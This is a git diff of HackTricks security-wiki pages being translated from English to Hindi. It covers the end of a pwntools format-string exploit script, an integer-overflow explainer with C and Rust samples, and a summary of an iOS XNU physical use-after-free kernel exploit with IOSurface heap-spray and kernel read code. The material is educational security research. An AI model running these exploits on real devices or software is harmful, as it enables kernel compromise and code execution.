||||
if b"41414141" in recieved:
|
||||
connect_binary()
|
||||
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
print(recieved)
|
||||
if b"42424242" in recieved:
|
||||
log.info(f"Found offset ({offset}) and padlen ({padlen})")
|
||||
return offset, padlen
|
||||
if b"41" in recieved:
|
||||
for padlen in range(0,4):
|
||||
if b"41414141" in recieved:
|
||||
connect_binary()
|
||||
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
print(recieved)
|
||||
if b"42424242" in recieved:
|
||||
log.info(f"Found offset ({offset}) and padlen ({padlen})")
|
||||
return offset, padlen
|
||||
|
||||
else:
|
||||
connect_binary()
|
||||
payload = b" " + payload
|
||||
recieved = send_payload(payload).strip()
|
||||
else:
|
||||
connect_binary()
|
||||
payload = b" " + payload
|
||||
recieved = send_payload(payload).strip()
|
||||
|
||||
|
||||
# In order to exploit a format string you need to find a position where part of your payload
|
||||
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
|
||||
|
||||
connect_binary()
|
||||
if GDB and not REMOTETTCP and not REMOTESSH:
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
|
||||
sleep(5)
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
|
||||
sleep(5)
|
||||
|
||||
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
|
||||
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
|
||||
@ -141,5 +140,4 @@ format_string.execute_writes()
|
||||
P.interactive()
|
||||
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,120 +4,112 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
|
||||
**integer overflow** के केंद्र में कंप्यूटर प्रोग्रामिंग में डेटा प्रकारों के **आकार** द्वारा लगाए गए प्रतिबंध और डेटा की **व्याख्या** है।
|
||||
|
||||
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
|
||||
उदाहरण के लिए, एक **8-बिट बिना चिह्नित पूर्णांक** **0 से 255** तक के मानों का प्रतिनिधित्व कर सकता है। यदि आप 8-बिट बिना चिह्नित पूर्णांक में मान 256 को स्टोर करने का प्रयास करते हैं, तो यह इसके भंडारण क्षमता की सीमा के कारण 0 पर लिपट जाता है। इसी तरह, एक **16-बिट बिना चिह्नित पूर्णांक** के लिए, जो **0 से 65,535** तक के मानों को रख सकता है, 65,535 में 1 जोड़ने से मान फिर से 0 पर लिपट जाएगा।
|
||||
|
||||
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
|
||||
इसके अलावा, एक **8-बिट चिह्नित पूर्णांक** **-128 से 127** तक के मानों का प्रतिनिधित्व कर सकता है। इसका कारण यह है कि एक बिट को चिह्न (सकारात्मक या नकारात्मक) का प्रतिनिधित्व करने के लिए उपयोग किया जाता है, जिससे 7 बिट्स को परिमाण का प्रतिनिधित्व करने के लिए छोड़ दिया जाता है। सबसे नकारात्मक संख्या को **-128** (बाइनरी `10000000`) के रूप में दर्शाया जाता है, और सबसे सकारात्मक संख्या **127** (बाइनरी `01111111`) है।
|
||||
|
||||
### Max values
|
||||
|
||||
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
|
||||
संभावित **वेब कमजोरियों** के लिए अधिकतम समर्थित मानों को जानना बहुत दिलचस्प है:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Examples
|
||||
## उदाहरण
|
||||
|
||||
### Pure overflow
|
||||
|
||||
The printed result will be 0 as we overflowed the char:
|
||||
### शुद्ध ओवरफ्लो
|
||||
|
||||
छापी गई परिणाम 0 होगी क्योंकि हमने char को ओवरफ्लो कर दिया:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
|
||||
|
||||
एक ऐसी स्थिति पर विचार करें जहाँ एक साइन किया हुआ पूर्णांक उपयोगकर्ता इनपुट से पढ़ा जाता है और फिर एक संदर्भ में उपयोग किया जाता है जो इसे एक असाइन किया हुआ पूर्णांक के रूप में मानता है, बिना उचित सत्यापन के:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
इस उदाहरण में, यदि एक उपयोगकर्ता नकारात्मक संख्या इनपुट करता है, तो इसे एक बड़े असाइन किए गए पूर्णांक के रूप में व्याख्यायित किया जाएगा, जो बाइनरी मानों की व्याख्या के तरीके के कारण है, जो संभावित रूप से अप्रत्याशित व्यवहार का कारण बन सकता है।
|
||||
|
||||
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
|
||||
|
||||
### Other Examples
|
||||
### अन्य उदाहरण
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
|
||||
- केवल 1B का उपयोग पासवर्ड के आकार को स्टोर करने के लिए किया जाता है, इसलिए इसे ओवरफ्लो करना संभव है और इसे 4 की लंबाई के रूप में सोचने के लिए मजबूर करना जबकि यह वास्तव में 260 है, लंबाई जांच सुरक्षा को बायपास करने के लिए
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: 
|
||||
- कुछ संख्याओं को दिए जाने पर z3 का उपयोग करके एक नई संख्या खोजें जो पहले वाले से गुणा करने पर दूसरे को देगी: 
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
|
||||
- केवल 1B का उपयोग पासवर्ड के आकार को स्टोर करने के लिए किया जाता है, इसलिए इसे ओवरफ्लो करना संभव है और इसे 4 की लंबाई के रूप में सोचने के लिए मजबूर करना जबकि यह वास्तव में 260 है, लंबाई जांच सुरक्षा को बायपास करने और स्टैक में अगले स्थानीय चर को ओवरराइट करने के लिए और दोनों सुरक्षा को बायपास करने के लिए
|
||||
|
||||
## ARM64
|
||||
|
||||
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
यह **ARM64 में नहीं बदलता** जैसा कि आप [**इस ब्लॉग पोस्ट**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) में देख सकते हैं।
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,211 +2,202 @@
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
यह [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) से पोस्ट का सारांश है, इसके अलावा इस तकनीक का उपयोग करके एक्सप्लॉइट के बारे में अधिक जानकारी [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) में मिल सकती है।
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
|
||||
iOS पर उपयोगकर्ता प्रक्रियाओं के लिए **वर्चुअल मेमोरी एड्रेस स्पेस** **0x0 से 0x8000000000** तक फैला हुआ है। हालाँकि, ये पते सीधे भौतिक मेमोरी से नहीं जुड़े होते। इसके बजाय, **कर्नेल** **पृष्ठ तालिकाओं** का उपयोग करके वर्चुअल पते को वास्तविक **भौतिक पते** में अनुवाद करता है।
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Page tables are organized hierarchically in three levels:
|
||||
पृष्ठ तालिकाएँ तीन स्तरों में पदानुक्रमित होती हैं:
|
||||
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* Each entry here represents a large range of virtual memory.
|
||||
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
|
||||
* यहाँ प्रत्येक प्रविष्टि वर्चुअल मेमोरी की एक बड़ी श्रृंखला का प्रतिनिधित्व करती है।
|
||||
* यह **0x1000000000 बाइट्स** (या **256 जीबी**) की वर्चुअल मेमोरी को कवर करती है।
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
|
||||
* An L1 entry may point to an L2 table if it can't map the entire region itself.
|
||||
* यहाँ एक प्रविष्टि वर्चुअल मेमोरी के एक छोटे क्षेत्र का प्रतिनिधित्व करती है, विशेष रूप से **0x2000000 बाइट्स** (32 एमबी)।
|
||||
* यदि L1 प्रविष्टि पूरे क्षेत्र को स्वयं मानचित्रित नहीं कर सकती है, तो यह L2 तालिका की ओर इशारा कर सकती है।
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* This is the finest level, where each entry maps a single **4 KB** memory page.
|
||||
* An L2 entry may point to an L3 table if more granular control is needed.
|
||||
* यह सबसे बारीक स्तर है, जहाँ प्रत्येक प्रविष्टि एकल **4 केबी** मेमोरी पृष्ठ को मानचित्रित करती है।
|
||||
* यदि अधिक बारीक नियंत्रण की आवश्यकता है, तो L2 प्रविष्टि L3 तालिका की ओर इशारा कर सकती है।
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
|
||||
* पृष्ठ तालिका में कुछ प्रविष्टियाँ सीधे **वर्चुअल पतों की एक श्रृंखला** को भौतिक पतों की एक निरंतर श्रृंखला से **मानचित्रित** करती हैं (जैसे एक शॉर्टकट)।
|
||||
* **Pointer to Child Page Table**:
|
||||
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
|
||||
* यदि अधिक बारीक नियंत्रण की आवश्यकता है, तो एक स्तर (जैसे, L1) में एक प्रविष्टि अगले स्तर (जैसे, L2) में एक **बाल पृष्ठ तालिका** की ओर इशारा कर सकती है।
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Let’s say you try to access the virtual address **0x1000000000**:
|
||||
मान लीजिए कि आप वर्चुअल पता **0x1000000000** तक पहुँचने की कोशिश करते हैं:
|
||||
|
||||
1. **L1 Table**:
|
||||
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
|
||||
* कर्नेल इस वर्चुअल पते के लिए L1 पृष्ठ तालिका प्रविष्टि की जाँच करता है। यदि इसमें **L2 पृष्ठ तालिका की ओर इशारा करने वाला एक पॉइंटर** है, तो यह उस L2 तालिका पर जाता है।
|
||||
2. **L2 Table**:
|
||||
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
|
||||
* कर्नेल अधिक विस्तृत मानचित्रण के लिए L2 पृष्ठ तालिका की जाँच करता है। यदि यह प्रविष्टि एक **L3 पृष्ठ तालिका** की ओर इशारा करती है, तो यह वहाँ आगे बढ़ता है।
|
||||
3. **L3 Table**:
|
||||
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
|
||||
* कर्नेल अंतिम L3 प्रविष्टि को देखता है, जो वास्तविक मेमोरी पृष्ठ के **भौतिक पते** की ओर इशारा करती है।
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
If you write the physical address **0x800004000** into the first index of the L2 table, then:
|
||||
यदि आप भौतिक पता **0x800004000** को L2 तालिका के पहले अनुक्रमांक में लिखते हैं, तो:
|
||||
|
||||
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
|
||||
* This is a **block mapping** at the L2 level.
|
||||
* वर्चुअल पतों से **0x1000000000** से **0x1002000000** भौतिक पतों से **0x800004000** से **0x802004000** तक मानचित्रित होते हैं।
|
||||
* यह L2 स्तर पर एक **ब्लॉक मानचित्रण** है।
|
||||
|
||||
Alternatively, if the L2 entry points to an L3 table:
|
||||
वैकल्पिक रूप से, यदि L2 प्रविष्टि L3 तालिका की ओर इशारा करती है:
|
||||
|
||||
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
|
||||
* वर्चुअल पता श्रृंखला **0x1000000000 -> 0x1002000000** में प्रत्येक 4 केबी पृष्ठ L3 तालिका में व्यक्तिगत प्रविष्टियों द्वारा मानचित्रित किया जाएगा।
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
A **physical use-after-free** (UAF) occurs when:
|
||||
एक **भौतिक उपयोग-के-बाद-मुक्ति** (UAF) तब होती है जब:
|
||||
|
||||
1. A process **allocates** some memory as **readable and writable**.
|
||||
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
|
||||
3. The process **deallocates** (frees) the memory.
|
||||
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
|
||||
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
|
||||
6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
|
||||
1. एक प्रक्रिया **कुछ मेमोरी आवंटित** करती है जो **पढ़ने योग्य और लिखने योग्य** होती है।
|
||||
2. **पृष्ठ तालिकाएँ** इस मेमोरी को एक विशिष्ट भौतिक पते से मानचित्रित करने के लिए अपडेट की जाती हैं जिसे प्रक्रिया एक्सेस कर सकती है।
|
||||
3. प्रक्रिया **मेमोरी को मुक्त** (फ्री) करती है।
|
||||
4. हालाँकि, एक **बग** के कारण, कर्नेल **पृष्ठ तालिकाओं से मानचित्रण को हटाना भूल जाता है**, हालाँकि यह संबंधित भौतिक मेमोरी को मुक्त के रूप में चिह्नित करता है।
|
||||
5. कर्नेल तब इस "मुक्त" भौतिक मेमोरी को अन्य उद्देश्यों के लिए **फिर से आवंटित** कर सकता है, जैसे **कर्नेल डेटा**।
|
||||
6. चूंकि मानचित्रण को हटाया नहीं गया, प्रक्रिया अभी भी इस भौतिक मेमोरी को **पढ़ने और लिखने** में सक्षम है।
|
||||
|
||||
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
|
||||
इसका मतलब है कि प्रक्रिया **कर्नेल मेमोरी के पृष्ठों** तक पहुँच सकती है, जिसमें संवेदनशील डेटा या संरचनाएँ हो सकती हैं, जिससे एक हमलावर को **कर्नेल मेमोरी में हेरफेर** करने की अनुमति मिलती है।
|
||||
|
||||
### Exploitation Strategy: Heap Spray
|
||||
|
||||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||||
चूंकि हमलावर यह नियंत्रित नहीं कर सकता कि कौन से विशेष कर्नेल पृष्ठ मुक्त मेमोरी में आवंटित किए जाएंगे, वे एक तकनीक का उपयोग करते हैं जिसे **हीप स्प्रे** कहा जाता है:
|
||||
|
||||
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
|
||||
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
|
||||
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
|
||||
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
|
||||
1. हमलावर **कर्नेल मेमोरी में कई IOSurface ऑब्जेक्ट्स** बनाता है।
|
||||
2. प्रत्येक IOSurface ऑब्जेक्ट में इसके एक क्षेत्र में एक **जादुई मान** होता है, जिससे इसे पहचानना आसान होता है।
|
||||
3. वे **मुक्त पृष्ठों को स्कैन** करते हैं यह देखने के लिए कि क्या इनमें से कोई IOSurface ऑब्जेक्ट मुक्त पृष्ठ पर उतरा है।
|
||||
4. जब वे एक मुक्त पृष्ठ पर IOSurface ऑब्जेक्ट पाते हैं, तो वे इसका उपयोग **कर्नेल मेमोरी को पढ़ने और लिखने** के लिए कर सकते हैं।
|
||||
|
||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
इस बारे में अधिक जानकारी [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) में है।
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
|
||||
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
|
||||
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
|
||||
* Use one field to **read any 32-bit value** in kernel memory.
|
||||
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
|
||||
|
||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||||
1. **Spray IOSurface Objects**: हमलावर एक विशेष पहचानकर्ता ("जादुई मान") के साथ कई IOSurface ऑब्जेक्ट्स बनाता है।
|
||||
2. **Scan Freed Pages**: वे जांचते हैं कि क्या इनमें से कोई ऑब्जेक्ट मुक्त पृष्ठ पर आवंटित किया गया है।
|
||||
3. **Read/Write Kernel Memory**: IOSurface ऑब्जेक्ट में क्षेत्रों में हेरफेर करके, वे कर्नेल मेमोरी में **मनमाने पढ़ने और लिखने** की क्षमता प्राप्त करते हैं। इससे उन्हें:
|
||||
* एक क्षेत्र का उपयोग करके **कर्नेल मेमोरी में कोई भी 32-बिट मान पढ़ने** की अनुमति मिलती है।
|
||||
* दूसरे क्षेत्र का उपयोग करके **64-बिट मान लिखने**, एक स्थिर **कर्नेल पढ़ने/लिखने की प्राइमिटिव** प्राप्त करते हैं।
|
||||
|
||||
IOSURFACE_MAGIC जादुई मान के साथ IOSurface ऑब्जेक्ट्स उत्पन्न करें ताकि बाद में खोजा जा सके:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Search for **`IOSurface`** objects in one freed physical page:
|
||||
|
||||
**`IOSurface`** ऑब्जेक्ट्स को एक मुक्त भौतिक पृष्ठ में खोजें:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Kernel Read/Write को IOSurface के साथ प्राप्त करना
|
||||
|
||||
### Achieving Kernel Read/Write with IOSurface
|
||||
एक IOSurface ऑब्जेक्ट पर नियंत्रण प्राप्त करने के बाद जो कर्नेल मेमोरी में है (जो एक मुक्त भौतिक पृष्ठ के लिए मैप किया गया है जो उपयोगकर्ता स्थान से सुलभ है), हम इसका उपयोग **मनमाने कर्नेल पढ़ने और लिखने के संचालन** के लिए कर सकते हैं।
|
||||
|
||||
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
|
||||
**IOSurface में प्रमुख फ़ील्ड्स**
|
||||
|
||||
**Key Fields in IOSurface**
|
||||
IOSurface ऑब्जेक्ट में दो महत्वपूर्ण फ़ील्ड्स हैं:
|
||||
|
||||
The IOSurface object has two crucial fields:
|
||||
1. **उपयोग गणना पॉइंटर**: एक **32-बिट पढ़ने** की अनुमति देता है।
|
||||
2. **सूचीकृत टाइमस्टैम्प पॉइंटर**: एक **64-बिट लिखने** की अनुमति देता है।
|
||||
|
||||
1. **Use Count Pointer**: Allows a **32-bit read**.
|
||||
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
|
||||
इन पॉइंटर्स को ओवरराइट करके, हम उन्हें कर्नेल मेमोरी में मनमाने पते पर पुनर्निर्देशित करते हैं, जिससे पढ़ने/लिखने की क्षमताएँ सक्षम होती हैं।
|
||||
|
||||
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
|
||||
#### 32-बिट कर्नेल पढ़ना
|
||||
|
||||
#### 32-Bit Kernel Read
|
||||
|
||||
To perform a read:
|
||||
|
||||
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
|
||||
2. Use the `get_use_count` method to read the value at that address.
|
||||
पढ़ने के लिए:
|
||||
|
||||
1. **उपयोग गणना पॉइंटर** को लक्ष्य पते की ओर पुनर्निर्देशित करें जिसमें 0x14-बाइट ऑफसेट घटाया गया हो।
|
||||
2. उस पते पर मान पढ़ने के लिए `get_use_count` विधि का उपयोग करें।
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-बिट कर्नेल लिखें
|
||||
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
To perform a write:
|
||||
|
||||
